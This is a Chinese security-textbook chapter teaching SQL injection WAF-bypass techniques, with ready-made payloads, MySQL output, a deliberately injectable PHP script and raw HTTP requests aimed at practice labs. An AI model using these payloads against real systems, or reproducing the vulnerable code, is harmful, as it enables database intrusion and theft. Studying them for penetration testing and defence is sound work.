Files
security-book/02.WEB安全/02.SQL注入绕过.md
2025-08-27 14:13:17 +08:00

35 KiB
Raw Blame History

02.SQL注入绕过

1. SQL 注入绕过

SQL 注入绕过技术已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。

2. or and xor not绕过★

目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2 id=0 xor 1=1 limit 1 、id=1 xor 1=2

对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下

指令 字符
and &&
or ||
not !
xor |

需要注意并不是所有数据库的SQL语句都支持上述字符。

mysql> select * from users where id=1 and 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 && 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id not in (2,3);
+------+----------------------+-----------+
| id   | username             | password  |
+------+----------------------+-----------+
|    1 | Dumb                 | Dumb      |
|    4 | secure               | crappy    |
|    5 | stupid               | stupidity |
|    6 | superman             | genious   |
|    7 | batman               | mob!le    |
|    8 | admin                | admin     |
|    9 | admin1               | admin1    |
|   10 | admin2               | admin2    |
|   11 | admin3               | admin3    |
|   12 | dhakkan              | dumbo     |
|   14 | admin4               | admin4    |
+------+----------------------+-----------+
11 rows in set (0.00 sec)

mysql> select * from users where id in (2,3);
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
+----+----------+------------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 && 2=1+1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)


2.1 源码分析

下面的代码会将id中的or和and替换为空字符串

image.png

输入and、or都会被过滤报错

image.png

使用||符号就可以绕过

image.png

3. 空格字符绕过

如果出现空格被拦截的情况就需要使用空格字符绕过。常见做法是尝试使用URL编码但是要注意在php中这类url编码在程序中仍然可能会被过滤掉。

编码 空格字符
%09 TAB键(水平制表符)
%0a 新的一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直制表符)
%a0 空格

另外SQL语句也支持注释来充当空格注释的格式为 /*注释内容*/

image.png

另外mysql也支持将某些命令根据版本兼容性来进行注释比如/*!50000select*/表示5.00.00版本以上的mysql才会执行这个代码

image.png

3.1 源码分析

image.png

尝试使用注入语句,发现空格和--被过滤,使用普通的方式已经无法对代码形成闭合状态

使用如下闭合语句

image.png

使用报错注入

image.png

查找表名的时候发现空格被过滤

image.png

使用括号绕过空格限制此处使用URL编码并不能绕过PHP的过滤策略

?id=1'||updatexml(1,concat(0x7e,(
select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')
)),1)||'1

image.png

空格字符编码绕过示例

image.png

4. 大小写绕过

注意下面的过滤代码正则匹配模式并未忽略大小写

image.png

使用盲注

http://d16.s.iproute.cn/Less-27/?id=0'||substr((sElect(group_concat(username))from(users)),1,1)='D'||'0

image.png

使用报错

http://d16.s.iproute.cn/Less-27/?id=1'||substr((updatexml(1,concat(0x7e,(SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)),1,1)='D'||'1

image.png

5. 浮点数绕过

sql 语句的一个特性,在浮点数后面跟着 union 可以不加空格并且1.0=1

image.png

image.png

image.png

image.png

为了闭合后面的引号,可以使用如下语句

image.png

浮点数绕过实战

http://d16.s.iproute.cn/Less-27/?id=999.0'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1

image.png

上面这个案例看起来有浮点数其实和浮点数没关系改成任何字符串都没问题因为在源码中这个id是拼接为字符串的

image-20250108103630308

http://d16.s.iproute.cn/Less-27/?id=a'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1

image.png

浮点数绕过主要需要与union配合使用在过滤空格的场景中可以让union前面的空格省略

http://d16.s.iproute.cn/Less-27/?id=99.0'unIOn%0dseLEct(1),(database()),(3)%0d||'1

image.png

Null也可以作为union前面空格的省略工具

http://d16.s.iproute.cn/Less-27/?id=Null'unIOn%0dseLEct(1),(database()),(3)%0d||'1

image.png

任意一个字符串包括数字字符串都可以作为union前面的省略工具

image.png

image.png

在这个案例中并没有用到整数型后面直接跟着union的特性但是这个知识点需要记住

6. 引号绕过

引号主要使用的是字符串可以将字符串转换为16进制就可以避免使用引号了

http://d14.s.iproute.cn/vulnerabilities/sqli/?id=1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x6431345f735f6970726f7574655f636e)--+&Submit=Submit#

image.png

7. 添加库名绕过

有些waf的拦截规则并不会拦截带上库名的表查询在遇到waf的时候可以做一下尝试

select user,host from mysql.user;
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string) from mysql.user;

8. 去重绕过★

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截

select * from users where id=-1 union distinct select 1,2,3,version() from users;

实战效果

?id=-1' union distinct select 1,2,version() from users--+

image.png

匹配规则分析

image.png

如果规则是这样的,就无效

image.png

反引号绕过

MySQL中的反引号(`)是为了区分MySQL的保留字与普通字符而引人的符号反引号可以代替空格绕过空格过滤。

select`username`from`users`;

9. 脚本语言特性绕过

在php语言中id=1&id=2后面的值会自动覆盖前面的值不同的语言有不同的特性。可以利用这点绕过一些waf的拦截。

id=1%00&id=2 union select 1,2,3

有些 waf 回去匹配第一个 id 参数 1%00 %00 是截断字符waf 会自动截断 从而不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截。

其他语言特性

服务器中间件 解析结果 举例说明
ASP.NET/IIS 所有出现的参数值用逗号连接 color=red,blue
ASP/IIS 所有出现的参数值用逗号连接 color=red,blue
PHP/Apache 仅最后一次出现参数值 color=blue
PHP/Zeus 仅最后一次出现参数值 color=blue
JSP,Servlet/Tomcat 仅第一次出现参数值 color=red
JSP,Servlet/Oracle App Server10g 仅第一次出现参数值 color=red
JSP,servlet/Jetty 仅第一次出现参数值 color=red
IBM Lotus Domino 仅最后一次出现参数值 color=blue
IBM HTTP Server 仅第一次出现参数值 color=red
mod_perl, libapreq2/Apache 仅第一次出现参数值 color=red
Perl CGI /Apache 仅第一次出现参数值 color=red
mod_wsgi(Python) /Apache 仅第一次出现参数值 color=red
Python/Zope 转化为List color=['red','blue']

实战效果

?id=1%00&id=-1' union select 1,2,version() from users --+

image.png

10. substr字符串截取★

原理如下通过截取字符串来进行sql注入甚至可以通过转成16进制避免出现单引号。

mysql> select (substr(database() from 1 for 1));
+-----------------------------------+
| (substr(database() from 1 for 1)) |
+-----------------------------------+
| s                                 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and 's'=(select(substr(database()from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and 0x73=(select(substr(database()from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

实战效果,使用命令

?id=1' and (select(substr(database() from 1 for 1)))=0x73--+

image.png

如果猜测不对,就会出现下面的界面

image.png

11. mid字符串截取★

这个 mid函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤,可以使用这个函数代替

?id=1' and (select(mid(database() from 1 for 1)))=0x73--+

image.png

12. 使用join绕过

使用 join 连接两个表

union select 1,2 
等价于
union select * from (select 1)a join (select 2)b
mysql> select * from users where id=-1 union select * from (select 1)a join (select 2)b join (select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=-1 union select * from (select 1)a join (select user())b join (select 3)c;
+----+----------------+----------+
| id | username       | password |
+----+----------------+----------+
|  1 | root@localhost | 3        |
+----+----------------+----------+
1 row in set (0.00 sec)

实战效果,使用命令

?id=-1' union select * from (select 1)a join (select user())b join(select 3)c--+

image.png

13. like绕过★

有时候不给使用=

使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0

mysql> select user() like '%root%';
+----------------------+
| user() like '%root%' |
+----------------------+
|                    1 |
+----------------------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and (select user() like '%root%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

实战效果

?id=1' and (select user() like '%root%')--+

image.png

14. limit offset 绕过

SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目是一条,如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。

mysql> select * from users where id=-1 union select 1,2,user() limit 1 offset 0;
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
|  1 | 2        | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

实际效果

?id=-1'union select 1,2,version() limit 1 offset 0--+

image.png

15. ascii 字符绕过

截取出来的字符转为ascii码来避开联合查询注入

mysql> select substring(user(),1,1);
+-----------------------+
| substring(user(),1,1) |
+-----------------------+
| r                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and substring(user(),1,1)='r';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ascii(substring(user(),1,1))=114;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

实战效果

?id=1' and ascii(substring(user(),1,1))=114--+

image.png

16. 等号绕过★

如果程序会对=进行拦截 可以使用 like、rlike、regex或者使用< 、>

16.1 < 、>绕过

mysql> select * from users where id=1 and ascii(substring(user(),1,1))<115;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ascii(substring(user(),1,1))>115;
Empty set (0.00 sec)

绕过测试

?id=1' and ascii(substring(user(),1,1))<115--+

image.png

16.2 like、rlike绕过

mysql> select * from users where id=1 and (select substring(user(),1,1)like 'r%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

16.3 regex绕过

mysql> select * from users where id=1 and 1=(select user() regexp '^r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and 1=(select user() regexp '^a');
Empty set (0.00 sec)

17. 双关键词绕过

有些程序会对单词 union、 select 进行转空,但是只会转一次这样会留下安全隐患。双关键字绕过(若删除掉第一个匹配的 union 就能绕过)如:

id=-1'UNIunionONSeLselectECT1,2,3--+ 到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ ,从而绕过拦截。

18. 二次编码绕过

有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,有些 waf 是不会拦截的。

php代码用了urldecode()等编码函数与php自身编码配合失误。

由于sqli-labs没有二次编码注入的环境所以我们在less1中加入一些代码

// 转义字符串中的特殊字符
$id = mysql_real_escape_string($_GET[id]);
echo "mysql_real_escape_string: $id <br>";
$id = urldecode($id);
echo "urlencode: $id <br>";

image.png

判断是否存在二次编码注入

doublecode.php?id=1'

image.png

可以看到单引号被转义了,使用编码

以上图片体现二次编码 %25由于编码作用被转义为%,而接下来的%27二次编码被转义为'

image.png

下面即可正常进行SQL注入

http://d16.s.iproute.cn/Less-1/doublecode.php?id=-1%2527 union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+

image.png

19. 多参数拆分绕过

将多个参数拼接到同一条SQL语句中可以将注入语句分割插入主要用于union select一起使用被拦截的绕过

例如

a=[input1]&b=[input2]可以将参数a和b拼接在SQL语句中

例如如下代码

<?php
/**
 * 数据库中插入如下语句
 * use test
 * create table users(id int primary key auto_increment,username varchar(50),password varchar(50),email varchar(50));
 * insert into users value(1,'admin','123456','admin@iproute.cn');
 */
echo "<h2>多参数拆分注入</h2>";
header("Content-Type:text/html;charset=utf8");
$con = mysqli_connect("localhost", "root", "usbw", "test");
mysqli_set_charset($con, 'utf8');
if(!$con){
    echo "Connect failed:" . mysqli_connect_error();
}

function filterstr($key){
    if(!get_magic_quotes_gpc()){
        $key = addcslashes($key);
    }
    return $key;
}

$id = isset($_GET['id']) ? $_GET['id'] : 1;
$username = isset($_GET['username']) ? $_GET['username'] : 'admin';
$sql = "select * from users where id='$id' and username='$username'";
$result = mysqli_query($con, $sql);
$row = mysqli_fetch_array($result);
if($row){
    echo "id:" . $row['id'] . "<br>";
    echo "用户名:" . $row['username'] . "<br>";
    echo "密码:" . $row['password'] . "<br>";
    echo "密码:" . $row['email'] . "<br>";
}

echo '<hr><br>';
echo "查询语句是:$sql <br>";
echo mysqli_error($con);
?>

可以使用如下命令绕过拦截

id=-1'union/*&username=*/select 1,user(),3,4--+

多参数拆分注入

image.png

20. 使用生僻函数绕过

使用生僻函数替代常见的函数这样可以绕过过滤规则不全面的waf拦截

例如使用exp()替换updatexml()

id=-1' and exp(~(select * from(select user())a))--+

image.png

21. 分块传输绕过★★★★★

背景知识

什么是 chunked 编码?

分块传输编码Chunked transfer encoding是只在 HTTP 协议 1.1 版本HTTP/1.1)中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结束。

传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。

Content-length 面临的问题:由于 Content-Length 字段必须真实反映实体长度,但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。这时候要想准确获取长度,只能开一个足够大的 buffer等内容全部生成好再计算。这样做一方面需要更大的内存开销另一方面也会让客户端等更久。因此我们需要一个新的机制不依赖头部的长度信息也能知道实体的边界——分块编码Transfer-Encoding: chunked

对于动态生成的应答内容来说,内容在未生成完成前总长度是不可知的。因此需要先缓存生成的内容,再计算总长度填充到 Content-Length再发送整个数据内容。这样显得不太灵活而使用分块编码则能得到改观。分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对于压缩传输传输而言可以一边压缩一边传输。

二、如何使用 chunked 编码

如果在 http 的消息头里 Transfer-Encoding 为 chunked那么就是使用此种编码方式。接下来会发送数量未知的块每一个块的开头都有一个十六进制的数,表明这个块的大小,然后接 CRLF("\r\n")。然后是数据本身数据结束后还会有CRLF("\r\n")两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以有空格。最后一块的块大小为 0表明数据发送结束。最后一块不再包含任何数据但是可以发送可选的尾部包括消息头字段。消息最后以 CRLF 结尾。在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。

21.1 实战

由于 Windows 的IIS中间件对分块传输支持不佳所以此处选择使用Linux版本

靶场 pikachu

拦截一个数据包如下

image.png

来到重放模块,修改为分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传送第一行是长度第二行是字符串0 表示传输结束,后面跟上两个换行。

Transfer-Encoding: chunked

2
id
2
=1
1
&
6
submit
2
=1
0


image.png

使用分块传输插件

插件主页:https://github.com/c0ny1/chunked-coding-converter

image.png

使用插件分块传输数字后面跟了个分号分号后面跟了一些奇怪的字符。这些字符的作用可有可无主要是用来充当垃圾字符来绕WAF的

image.png

查询到结果

image.png

22. 白名单绕过

有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。白名单通常有目录:

/admin
/phpmyadmin
/admin.php

普通的注入:

?id=-1' union select 1,2,version()--+

image.png

加了白名单的注入:

?id=/admin.php?&id=-1' union select 1,2,version()--+

image.png

23. 静态文件绕过

除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。 例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会进行检测从而绕过 waf 拦截。

注入:

?id=/test.jpg?&id=-1' union select 1,2,version()--+

image.png

甚至可以改成这种:

?hack.js?&id=-1' union select 1,2,version()--+

24. pipline 绕过注入

http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),其中包含了一个 Connection 字段,一般值为 closeapache 等容器根据这个字段决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止。

24.1 实战

这里需要POST形式的以sqli-labs靶场第11关为例

普通注入:

uname=' union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit

image.png

使用pipline注入

  1. 把 brupsuite 自动更新 Content-Length 勾去掉。

image.png

  1. 复制请求包,粘贴一下。

image.png

  1. 设置payload并获取其长度

image.png

image.png

  1. 修改Content-Length和Connection

image.png

25. multipart/form-data 绕过

在 http 头里的 Content-Type 提交表单支持三种协议:

application/x-www-form-urlencoded 编码模式 post 提交
multipart/form-data 文件上传模式
text/plain 文本模式

文件头的属性是传输前对提交的数据进行编码发送到服务器。其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。

POST /vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.49.163:32777
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.49.163:32777
Content-Type: multipart/form-data;boundary=alicealice
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.49.163:32777/vul/sqli/sqli_id.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: loveuser=4da774edec5008a818f954b214a8e20d; PHPSESSID=qahkeg1u261kk1j8535hjedd5a
Connection: close

--alicealice
Content-Disposition: form-data; name="id"

-1 union select 1,user()
--alicealice
Content-Disposition: form-data; name="submit"

%E6%9F%A5%E8%AF%A2
--alicealice

image.png

26. order by绕过

当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。

mysql> use security
Database changed
mysql> select * from users where id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
/* 数据库有3列 */

mysql> select * from users where id=1 order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
/* 普通order by查询 */

mysql> select * from users where id=1 into @a,@b,@c;
Query OK, 1 row affected (0.00 sec)

mysql> select * from users where id=1 into @a,@b;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
/* into查询列数正确返回ok列数错误返回error */

26.1 实战

使用命令:

?id=1' into @a,@b,@c--+

使用命令:

?id=1' into @a,@b--+

image.png

27. http 相同参数请求绕过★★

waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则请求被拦截如果程序中能同时接收get、post变换请求方式有几率能绕过检测。

application/json 或者 text/xml绕过

有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行, json 格式通常不会被拦截。所以可以尝试绕过 waf。

比如下面的数据包

POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:application/json
Content-Length: 38
Origin: http://192.168.0.115
Connection: close
Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1

{'id':1 union select 1,2,3,'submit':1}

28. 大量字符绕过★★

有一定绕过的可能,数据包帧头过长时可能会超过设备的检测深度,导致绕过。

可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截,如:

id=1 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()

下面的案例中使用的注入post提交内容为

id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E8%AF%A2

image.png

29. 花括号绕过

select 1,2 union select{x 1},user()

花括 左边是注释的内容,这样可以一些 waf 的拦截。

使用命令

?id=-1' union select {x 1},2,version()--+

image.png

30. 使用 ALL 或者 DISTINCT 绕过★

使用命令:

?id=-1' union DISTINCT select 1,version(),3--+

image.png

31. 换行混绕绕过★★

目前很多 waf 都会对 union select 进行过滤,因为联合查询使用了这两个关键词,一般过滤这个两个字符,想用联合查询就很难了。可以使用换行 加上一些注释符进行绕过。

31.1 GET型

使用命令:

?id=-1' union /*sdfqwdsgs123456*/select 1,version(),3--+

image.png

POST型

选用sqllib第11关

使用命令:

uname=' union select
/*
sdf

123456789
qwejiknklfnaltkkoi
*/(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit

image.png

规则中使用多行匹配模式依然可以检查出攻击。很多时候,基于性能考虑,规则没有使用多行匹配模式。导致存在绕过的可能。

32. HTTP 数据编码绕过

编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说它只识别 utf-8 的字符,但是服务器可以识别比 utf-8 更多的编码。那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格式即可绕过。

比如请求包中我们可以把Content-Type中的charset的参数值改为ibm037这个协议编码有些服务器是支持的。

image.png

image.png

33. URL编码绕过★★★★★

对字符做URL编码。

image.png

image.png

34. Unicode 编码绕过★★★★★

把payload转为unicode编码

image.png

image-20250604122129712